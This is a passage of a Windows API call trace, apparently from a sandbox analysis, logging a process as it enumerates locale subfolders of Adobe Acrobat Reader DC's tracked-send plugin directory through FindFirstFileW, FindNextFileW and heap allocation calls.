ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.398] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.398] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.399] GetProcessHeap () returned 0xc10000 [0264.399] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.399] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0264.399] GetProcessHeap () returned 0xc10000 [0264.399] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.399] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\cs-cz\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.591] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.591] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.591] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.591] GetProcessHeap () returned 0xc10000 [0264.591] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.591] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0264.592] GetProcessHeap () returned 0xc10000 [0264.592] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\da-dk\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.597] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.597] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.597] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.597] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.598] GetProcessHeap () returned 0xc10000 [0264.598] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.598] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0264.598] GetProcessHeap () returned 0xc10000 [0264.598] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\de-de\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.603] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.603] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.603] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.603] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.604] GetProcessHeap () returned 0xc10000 [0264.604] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.604] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0264.604] GetProcessHeap () returned 0xc10000 [0264.604] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.604] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\en-ae\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.605] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.605] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.605] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.605] GetProcessHeap () returned 0xc10000 [0264.605] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.605] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0264.605] GetProcessHeap () returned 0xc10000 [0264.605] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\en-gb\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.606] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.606] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.606] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.606] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.607] GetProcessHeap () returned 0xc10000 [0264.607] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.607] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0264.607] GetProcessHeap () returned 0xc10000 [0264.607] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\en-il\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.608] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.608] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.609] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.609] GetProcessHeap () returned 0xc10000 [0264.609] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.609] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0264.609] GetProcessHeap () returned 0xc10000 [0264.609] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.609] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\es-es\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.610] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.610] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.610] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.611] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.611] GetProcessHeap () returned 0xc10000 [0264.611] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.611] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0264.611] GetProcessHeap () returned 0xc10000 [0264.611] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\eu-es\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.611] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.611] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.611] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.612] GetProcessHeap () returned 0xc10000 [0264.612] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.612] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0264.612] GetProcessHeap () returned 0xc10000 [0264.612] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 